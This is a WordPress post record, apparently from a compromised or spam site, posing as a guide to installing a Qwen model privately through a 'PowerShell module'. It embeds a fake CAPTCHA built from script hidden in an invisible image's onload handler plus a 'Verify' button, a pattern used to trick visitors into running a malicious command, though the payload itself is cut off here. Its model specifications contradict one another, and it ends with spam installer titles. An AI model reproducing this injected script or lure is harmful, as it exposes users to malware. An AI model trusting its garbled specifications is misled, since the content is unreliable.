/U4QeGn3VZid2O8UkV1mI4zt5jC73kf50uNYCAN6BtovsBNdE0Kh0TPD364OpVe\/7OrfrINyVcehJCRAg9xzVxxWleQ2kPxr5gPda5RZZwiLgyeZpKG\/Hd\/gAtA+ktzWh\/kqIfx1OImpDj5b1RtOW4qCSs80UipXimqN1B3ZtnhFJqchmdx8VGwAqerpMkDcmXcUimjQWMjvUNznd1eiF9Two34sFFccmdh8FEk3CkJyTTsNhwFrVPXHTvJdVYffLBJ5o1U\/HjksYDYxxqGcL2xZ+JOyev2eObUmCtky6HXs7lT\/Sja74IG3VZUfL\/8F9vgX4XV0SgRDoKO6D5oUrf+4Iem8kh2hCHZobGWKPXMI2JxkMOVV6IsC\/blA3JDrDzmrzyJ9Q5OkfcWT50Zx6iaX6z4QqVpV0CBUQ08iX+X5ZtuU\/xvQC++Vuvcsijg4\/dOGbVTTIL4ki96j+AWFk\/z+9XHtJwiXKScF4bZoFHnY+xXAuKjf8u9WpY8Mj4B3TR9hO46MhVBiSkNJw2bzKSUtwLJn6n7aE6fRp9hRpVbD+JoPAnVbA3r876SwdyT4MJy8Nobp5R5hRJj5w5gNgLd3Fkb2yeGi\/a9ohGIwECbcwhziAAADbRUUH98W\/YdX3Y99BVJay508LE\/KVdI37WRXNiTMRH+Y33ScKtzDF1HJNVgRxBL0fCitDLGEOG6UPgmodBo3t4Sv+ZGyJ8wowcUzlkn2UwI5lR9gD\/K2FAH9FcB\/m7GHVn1DBpWJljsFCOxL5WGP0Oq7C7aqQOC+0ly4PMS+T5jQwsxavR1sTteCbN2jS5FevuaNKuVqB+2AE7\/3DG19W0OJeg0vMOraDThiApGOcULlZK8O\/N+snl9uC595Qo3rbLpYFTWXOnFWyvreJOftbhi8t\/yNeg\/GT+k6L6Mlll4VZO5QgvOZYRU70zSPCaIHUs8mwo5FRMPgRKEX3xbshGlG2NrEbl\/wl\/Zmq3gI0pVEDFgKmcy6gY+FfRKhAicv8mX9CgJ6OLaV9I6jNXPe4kCFPioC6i2uoW08hdQAlbjpqWryAbafzZMUXQXFCSP+jmeoMsGrcUJMuuQ6J0eul0mb+jQVP1JsE9nvJ0f4OUB8EkSAnlYecO53rQX24S0+0VdByvV8VmI597oFaK8JTRBflWP5ohtV2OP240rv3qssXPv0Zo9Tb\/9AdjeDoI4zyoyBe3XPcCzu75Vgp3\/TuJDTVlH22GxmQGYlo2oe\/q4UR\/sUCvW0rB3N9gEsn5MCUGmi9XKkXaZekcDf3GRCoaSdJd5yfiPnBTmiY\/Ns8feM9F9LBw03Oixg4jYyGixgPtMsSABBxRmybv5dru6x\/IAAAABVkYwAVWYPhlT0\/gEKExbaBt9dk6ntKA7GckVwRd28tZKjbOhqnH8krU6LIAADXgD13vgFXWbErDDyp3qmp4Blb0OtJqWCj9rS5+F832cruwFbkZdFQd368Xj9zHuCWrievOPXu+2mY3iYBptLF0XKo7a\/U\/YqhnGnNPN\/fwxJOqklBEcxZj8IXQfGWKQasKfq2pC+mgiIYyV1SkSlSv9G7+N7LooJUjMvfByvIFfgCkWqNS6CBeXEggdyF23D8MfS+K7bl5Z3zVGB1U5eugqlTPOisZaSb78BRWHblsZucP5SY1hyn3rZMX4r21n9p9BWMW2wv6dyq2kcu06U1mUlu+7YsaPSdUX0NvkRHkktVbH7MzcXpSStsUZ1dG4wlL+McJQg0S0ePxfaKvOpdDRbpOalSb+TXCzO+27+nfWd2aPIHpO7AKQAlFyFAn+Y3MLtu5TEK9SAC52DlW9MeohszsEoYZb4NA2qCNlohr3MbCvVb1JzeQ0Li7EYm4imx99blSBb7IXOshrKjUAy9ICVPiHL2kNs9eQx2GSTig60\/1A9JGQDjecVaScNSfF2JXxog5D\/MuC1b6sDxlqriKvUx9fG65gVSzJaYn75NBrLqnL2rMIoiov47ULLP9Li748Ig\/Mdy74Au8GVPpZrOwXb11Fm+pzUmFTzntjfV8Gbrg8NNnLJzacdxg4VIDG2QFfSMyhOo\/r9Tf0AGohk7s6ua7LO\/\/CpBrNROV7x6WiEE\/Z613k5yDEOFlb0752Yg+6EsDriqeeJgJs87A8tFi2sT9Led2whgfGsCrZJ9hgXF8O8WMgIEdy\/8msi8aktqweCzMwnnlKDVYooH7UT7XotTCd1sClA0nQAAsqAJigN+4uQKD7WsWlZ2xiCTyJb8ozYQcPl2420dqXubXakFjZZY3q9OpgwpPa3uyJpHT29KPbtmtRlPOu5d+R2f1ZeYv+WASrxz8my9uMwHzExO1MBp9IMU39nayMIZstJjRQ8Rc6Q\/POtuKN4A8Vx6GteR\/psil2e1nSwv6au9z35H5Xr6wqFQq\/3sft+m29dMJfQHsX10dAvM1BBRkX0qeQoKyOu+sGucEc3uAezZbdUD+PZYq+FMobmjiE9E6oHtWWBtlFNDqSExzxVpEGAJ+SG9hssojAB1G3KFqHiXZ0VsBgsw7bj3fe5icm+pmOC+p9TIIKntBwL\/98XTm0lEN1OQgUrxuvhNTsRiCBhRfWjHqB9CRrIlOyUzU+kcCtkMoZrqZdlMt5ncxdfZcijsBDa3qilc30yi8JaLh+lqtL5S1knA9sRDxRY19BpEW\/lZBf530dccXyDuz2sYWqHrtR2L\/vm\/412\/AW0hB9todKu6QQPOfEx32f6M6ZlRoWrXNlshVbg9BzsoKsbKV2pRx1BkA3zQ6mvblB+5LeA1dgyVtEpo3SKPJi\/CNMRQ\/bWhV1pKDoHDvdFV8BeIThFasDAwRTaS8GbsI0p8XMnXVNx55Ts9d8qHOZ8hNBMPaKl6bGMv3Fxb4WxCAEG6B63C1SM3rbSro+yUWrAmB+sl8p+b2N\/1xWK9GeNJgC2p4N4WQWoe+4dn\/P+4uwfLZQ26NoIj8+eJAtyN7Lma2usoFMIBtEs3UyEEjLNvBAp+UlozMCOMbris6+jMw45wqu7jczg1KuFHd3iu\/rowj5TvJSONClGufKUYZtWOGELxHg89+Bdegq8n+\/b3\/UQ\/uv2fmfAYVaj2aa2hslbx3zKIUjIetYep0izZ\/wvWlC0LpvTMyFac666bR2tsyr3fOWX2etbuQqWd0clz2lCnrFwjtqf7wdegkx\/Y+naO+ME+8rClw5+it9ukTquVwGk0w2aNmN2mL88HLPyJocYeGpNxxUPQcOjsOuUFAeyEdvRVotD2sXWrnCYgVGrC0eckdvrLxRGHIEjQXtm79gdM77V\/ignzGlmBmK8vnlQGAosZ0PH2eKeeZ0ZSeGXdfqCxWR8VcsDlp78QmX0fTETE2URLZ537QFeWcnPspgQK7z3Rl5\/coeCViyODh\/qP0gA0N7y4i\/\/wWvgxjj8EAQHhTN2ANVwZSQGZZgu3vn0ppZ9jm4qYhFvRVJv2ZaR2Dk6sBx1So37f1iHg9mzzyZOuArn8jw27ttcSB1Yq7x+GwocLL6VJp9hQqZGPZSR6Dl4fyq4BDhCpAeV43ILTHW0GoujMcPfhcOtoHpeMclJHu\/HKVCumIclDRPLK5iragyhXWUbY8k8o5KK6BlG2LoF0AspchlJex0iONSf2PlwDVI4jSyVGtfSB7m+BRIhL3JuSU2ul+z3T1mJezCwHaV\/K2QyVg6KfhRnwUMe46I+Jbs+uvMIG81tuBbwpiA+oYSgVtS7pTyaWEvZ+1hZIfWel0ME0tGDq2JckmAYDANLGXE0iJAu3wUSKiTtkpDwFCIh5Zh6fovwkgcQI8kltW50mpb7jjrDaEUHrri\/HIewxDwPqxTbJ3olWIVBg+JSkHeUp+dbYOUT8hxNQE\/yc6nYC8ITQNLGfgxyuVd6SKw1nmmBoCT3SEnEQhIVuc14fIh55EzZaL8cwo78naSgpMcuxTgf2x7wD6m83Qkl6RCMhqAbqMaR1AG\/tJ3tBMw20JCHJOvHkURUOp25j08PIm+\/KYBQDErFSzc2P\/zWZMYihPPDWFwVAnrsPDshfWokMuBm\/aBqERRv7jzu1d9+IMK2EkHI0qtcfz+UKcGr+5frBcf6tqZom1jGdd9xsSaUc6cXCZYfa+FRXM7CEHFGMUcTPK+aZVIdfnvLQsZ+t0UFMT4pNb5St604n1sjwjwoGQQLUJyGzlGkn5MI77THx+vDHPV6vVQIOnFtByTsAvEYP\/\/KU+p2Pbmwy1ZGwqsckyhlW\/85NIiDCKAXO6ggw1W9tQoKMZHVoYJELbgw9pVRh1ZKQZPJz9x2OEWh4NAjc0CbTQTR22Xp6boABwzA1RttDtfq2X82adS5FCB2vN+oVhPsInkOYtO6FrvvUobW4XjLaFsLW4H4TC5QhyryLph8x8I4kcjzYx6aQ0gzRFjZgxeSY1CLmLnz5kus1sUZCp3+eVm5vTH20gw5SiUr9fVXN6qYWqQbo\/RqRG5mBMOUYTjQeGoylAS86RibMwRrhvN0KGtGoAxYUW5mlZXoimTy5UiGNw8s1cAsfk36etLKoGVu47Jk2WC\/vzeqZD4bsKDXwtZkbPZBFxDV5Ujq14PiaR6moRn8CxNfabcmAImdIPL\/GRYLsqNEzyuwLkSifJ2B8qek45eMMaK7A2irkW1gBSQUYgoPAfASDjAfDVAAA\" alt=\"How to Setup Qwen3.6-35B-A3B-MLX-8bit 100% Private PC\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>A standalone <b>PowerShell module<\/b> provides the <i>fastest route<\/i> to local installation.<\/p>\n<p>Check out the <b>detailed setup guide<\/b> below to begin.<\/p>\n<p> <\/p>\n<p><i>All large files and heavy weights are downloaded automatically by the script.<\/i><\/p>\n<p> <\/p>\n<p>To guarantee smooth performance, the process <b>auto-selects the best options<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:22px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f8fafc;box-shadow:0 24px 48px rgba(0,0,0,0.1);border:1px solid #e2e8f0;\">\n<tr>\n<td style=\"padding:50px 65px;text-align:center;font-size:26px;color:#0f172a;line-height:2.8;letter-spacing:-0.02em;font-weight:500;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#5C5C5C;font-family:'DejaVu Sans Mono';\">\ud83d\udcd8 Build Hash: <span style=\"font-weight:600;\">de1345748f729902e86a3c98427d93a1<\/span> \u2022 \ud83d\uddd3 2026-06-27<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var 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\/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:27px;padding-left:22px;margin-left:0;\">\n<li><b>CPU:<\/b> modern architecture (<b>Zen 3 \/ Alder Lake<\/b> minimum)<\/li>\n<li><strong>RAM:<\/strong> 32 GB or higher for <strong>smooth 32k context<\/strong> lengths<\/li>\n<li><strong>Disk Space:<\/strong>70 GB free space for <strong>full FP16 weights<\/strong> storage<\/li>\n<li><strong>GPU:<\/strong> RTX 4080 \/ RTX 4090 <strong>recommended for 26B-A4B fast inference<\/strong><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3.6-35B-A3B-MLX-8bit<\/b> model delivers <i>state\u2011of\u2011the\u2011art<\/i> performance while maintaining a compact footprint thanks to its <b>8\u2011bit quantization<\/b>. With <b>35 billion parameters<\/b> and optimized architecture, it achieves <i>high accuracy<\/i> on a wide range of NLP tasks. Built on the <b>MLX framework<\/b>, the model benefits from <i>enhanced hardware compatibility<\/i> and reduced memory usage. Its <b>inference latency<\/b> is notably low, enabling real\u2011time applications in production environments. The following table summarizes the key technical specifications that differentiate this model from earlier versions. Users can expect <i>consistent results<\/i> across diverse benchmarks, making it a reliable choice for both research and commercial deployment.    <\/p>\n<table>\n<tr>\n<th>Parameter<\/th>\n<th>Value<\/th>\n<\/tr>\n<tr>\n<td>Model Name<\/td>\n<td>Qwen3.6-35B-A3B-MLX-8bit<\/td>\n<\/tr>\n<tr>\n<td>Parameters<\/td>\n<td>35B<\/td>\n<\/tr>\n<tr>\n<td>Quantization<\/td>\n<td>8-bit<\/td>\n<\/tr>\n<tr>\n<td>Framework<\/td>\n<td>MLX<\/td>\n<\/tr>\n<tr>\n<td>Context Length<\/td>\n<td>8K tokens<\/td>\n<\/tr>\n<\/table>\n<ul>\n<li>Script automating download of Stable Diffusion 3.5 Turbo weights directly to disks<\/li>\n<li>Qwen3.6-35B-A3B-MLX-8bit on AMD\/Nvidia GPU<\/li>\n<li>Script downloading specialized math reasoning checkpoints for scientists<\/li>\n<li>Full Deployment Qwen3.6-35B-A3B-MLX-8bit via WebGPU (Browser) FREE<\/li>\n<li>Installer automating Intel OpenVINO backend setup for local PC clients<\/li>\n<li>Full Deployment Qwen3.6-35B-A3B-MLX-8bit on Copilot+ PC Dummy Proof Guide<\/li>\n<li>Installer deploying local RAG workflows with multi-file chunking engines<\/li>\n<li>How to Launch Qwen3.6-35B-A3B-MLX-8bit One-Click Setup<\/li>\n<li>Script downloading user-trained voice checkpoints for tortoise-tts local server networks<\/li>\n<li>Qwen3.6-35B-A3B-MLX-8bit with Native FP4 Windows FREE<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>A standalone PowerShell module provides the fastest route to local installation. Check out the detailed setup guide below to begin. All large files and heavy weights are downloaded automatically by the script. To guarantee smooth performance, the process auto-selects the best options. \ud83d\udcd8 Build Hash: de1345748f729902e86a3c98427d93a1 \u2022 \ud83d\uddd3 2026-06-27 Verify CPU: modern architecture (Zen 3 \/ Alder Lake minimum) RAM: 32 GB or higher for smooth 32k context lengths Disk Space:70 GB free space for full FP16 weights storage GPU: RTX 4080 \/ RTX 4090 recommended for 26B-A4B fast inference The Qwen3.6-35B-A3B-MLX-8bit model delivers state\u2011of\u2011the\u2011art performance while maintaining a compact footprint thanks to its 8\u2011bit quantization. With 35 billion parameters and optimized architecture, it achieves high accuracy on a wide range of NLP tasks. Built on the MLX framework, the model benefits from enhanced hardware compatibility and reduced memory usage. Its inference latency is notably low, enabling real\u2011time applications in production environments. The following table summarizes the key technical specifications that differentiate this model from earlier versions. Users can expect consistent results across diverse benchmarks, making it a reliable choice for both research and commercial deployment. Parameter Value Model Name Qwen3.6-35B-A3B-MLX-8bit Parameters 35B Quantization 8-bit Framework MLX Context Length 8K tokens Script automating download of Stable Diffusion 3.5 Turbo weights directly to disks Qwen3.6-35B-A3B-MLX-8bit on AMD\/Nvidia GPU Script downloading specialized math reasoning checkpoints for scientists Full Deployment Qwen3.6-35B-A3B-MLX-8bit via WebGPU (Browser) FREE Installer automating Intel OpenVINO backend setup for local PC clients Full Deployment Qwen3.6-35B-A3B-MLX-8bit on Copilot+ PC Dummy Proof Guide Installer deploying local RAG workflows with multi-file chunking engines How to Launch Qwen3.6-35B-A3B-MLX-8bit One-Click Setup Script downloading user-trained voice checkpoints for tortoise-tts local server networks Qwen3.6-35B-A3B-MLX-8bit with Native FP4 Windows FREE<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20],"tags":[],"class_list":["post-3439","post","type-post","status-publish","format-standard","hentry","category-tokenizers"],"_links":{"self":[{"href":"https:\/\/vulkantura.hu\/index.php?rest_route=\/wp\/v2\/posts\/3439","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/vulkantura.hu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/vulkantura.hu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/vulkantura.hu\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/vulkantura.hu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3439"}],"version-history":[{"count":1,"href":"https:\/\/vulkantura.hu\/index.php?rest_route=\/wp\/v2\/posts\/3439\/revisions"}],"predecessor-version":[{"id":3440,"href":"https:\/\/vulkantura.hu\/index.php?rest_route=\/wp\/v2\/posts\/3439\/revisions\/3440"}],"wp:attachment":[{"href":"https:\/\/vulkantura.hu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3439"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/vulkantura.hu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3439"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/vulkantura.hu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3439"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}